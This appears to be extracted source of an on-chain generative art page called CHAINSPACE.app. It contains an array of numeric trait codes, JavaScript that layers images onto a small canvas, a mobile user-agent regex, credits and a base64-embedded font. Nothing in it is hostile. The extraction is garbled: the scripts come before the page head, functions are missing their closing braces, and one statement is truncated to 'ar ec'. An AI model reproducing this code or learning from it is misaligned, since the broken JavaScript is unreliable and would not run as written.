0000112072000", "088168048000113074000", "088173016000000063000", "088145011000108087000", "088155005000106051000", "088182009000117065000", "088133032000109067000", "088179007000114072000", "088179001000107071000", "088178032000110000000", "088172037000111061000", "088145024000107083000", "088126008000108086000", "088182047000109083000", "088178036000111000000", "088155013000116062000", "088145037000108083000", "088182029000109000000", "088133037000111067000", "088152013000000054000", "088174015000107053000", "088M
145021000115080000", "088174038000000052000", "088173015000110080000", "088145012000109062000", "088179002000106067000", "088145004000000054000", "088172032000111070000", "088133025000000054000", "088157013000000054000", "088126049000000083000", "088178027000116070000", "088126038000115067000", "088179023000115059000", "088174031000107063000", "088137033000115080000", "088126040000110060000", "088145027000110067000", "088174035000111053000", "088179044000115051000", "088182033000116053000", "088172013000116072000",M
 "088179037000111087000", "088155047000105053000", "088137039000107074000", "088137008000116077000", "088126044000105051000", "088133013000107086000", "088182034000107086000", "088133010000116086000", "088137008000105053000", "088182001000111061000", "088145002000116072000", "088172006000109000000", "088126018000111072000", "088133037000108059000", "088168010000116052000", "088182048000109077000", "088179007000117067000", "088178005000000083000", "088172023000114079000", "088179037000116086000", "088145032000105080M
000", "088178044000000061000", "088137012000108083000", "088182041000108062000", "088179025000114077000", "088159048000117052000", "088172034000108052000", "088178031000106072000", "088174016000105061000", "088155022000108062000", "088174006000111079000", "088178036000114000000", "088155005000109053000", "088182041000117000000", "088133048000106000000", "088179012000109058000", "088182033000111061000", "088178049000114053000", "088155013000105061000", "088133005000000000000", "088137047000116087000", "0881590490001M
17000000", "088137027000111060000", "088174048000106067000", "088145032000111052000", "088179015000114052000", "088137022000000000000", "088155004000116052000", "088182013000111080000", "088178018000113000000", "088126031000117000000", "088159027000000000000", "088178037000117087000", "088159005000106079000", "088137023000111000000", "088168037000117087000", "088145009000111071000", "088137018000113071000", "088179035000106000000", "088126048000105061000", "088182027000113000000", "088137036000000000000", "08813703M
7000000071000", "088182035000114000000", "088145027000117079000", "088172022000113079000", "088178034000113000000", "088155024000117000000", "088159002000111000000", "088174037000116000000", "088145003000111000000", "088168037000114000000", "088179035104111056000", "088145035000105000000", "088137023000105000000", "088168037000117000000", "088179022000116000000", "088145031000113000000", "088172016000116000000", "088172027000117000000", "088155041000000000000", "088145049000116000000", "088179012000116000000", "088M
145036000113000000", "088172002000113000000", "088168018000000000000", "088137023000000000000", "088182004000114000000", "088173034000116000000", "088145006000117000000", "088178048000000000000", "088179002000117000000", "088179013000111000000", "088168023000117000000", "088179006000105000000", "088174006000117000000", "088173044000116000000", "088173006000111000000", "088168031000117000000", "088168036000111000000", "088173048000117000000", "088173004000000000000", "088174044000114000000", "088173006000116000000",M
 "088168044000111000000", "088137024000000000000", "088168003000116000000", "088168004000111000000", "088173003000117000000", "088159027000111000000", "088137013000000000000", "088173003000114000000", "088174037000000000000", "088173009000114000000", "088137025000114000000", "088173009000000000000", "088168003000000000000", "088137024098114072000", "088173048000111000000", "088168024000000000000", "088173009095105073000", "088168006000000000000", "088168049000114000000", "088173018000000000000", "088168048000000000M
000", "088168003000114000000", "088173041000000000000", "088168004000114000000", "088173034000000000000", "088137004000000000000", "088137044000000000000", "088137004096115075000", "088168041000000000000", "088168012000000000000", "088168023000000000000", "088168049000000000000", "088168044000000000000", "088168031000000000000"]
            function li(url) {
                return new Promise((resolve, reject) => {
                    const im = new Image();
                    im.addEventListener("load", () => {
                    resolve(im);
                    });
                    im.addEventListener("error", (error) => {
                    reject(error);
                    });
                    im.src = url;
            function cm () {
                let ck = false;
                (function(a){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(obM
|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(M
l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywM
a|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|tM
\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))) ck = true;})(navigator.userAgent||navigator.vendor||window.opera);
                return ck;
            function rb(x,y) {
                id = y!==undefined?y:(6900>=(id+x)>=1)?id+x:id;
                document.getElementById("t").value = id;
ar ec = document.getElementById('d');
                if (ec) {ec.remove();}
                var c = document.createElement('canvas');
                c.id = 'd';c.width = 24;c.height = 24;cm()?c.style.height="40vh":c.style.height='90vh';c.style.imageRendering='pixelated';cm()?c.style.marginTop="20vh":c.style.marginTop="10vh"
                document.getElementById('c').appendChild(c);
                var ctx = c.getContext('2d');
                var _dna = dna[id - 1];
                document.querySelector("body"M
).style.backgroundColor = (_dna.slice(0,3)=="090")?"rgb(255,230,194)":(_dna.slice(0,3)=="091")?"rgb(181,255,210)":(_dna.slice(0,3)=="089")?"rgb(216,214,255)":(_dna.slice(0,3)=="092")?"rgb(181,253,255)":(_dna.slice(0,3)=="088")?"rgb(246,214,240)":"";
                var srcs = Array.from({ length: Math.ceil(_dna.length / 3) }, (v, i) => _dna.slice(i * 3, i * 3 + 3)).map(ch => parseInt(ch, 10)).map(number => parseInt(number==='000'?0:number.toString().replace(/^0+/, ''), 10)).map(s => s>0?px[s - 1]:"");
   var prms = srcs.filter(src => src!=="").map(src => li(src));
                Promise.all(prms).then((ims) => {ims.forEach((im) => {ctx.drawImage(im, 0, 0)});}).catch((error) => {console.error(error);});
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
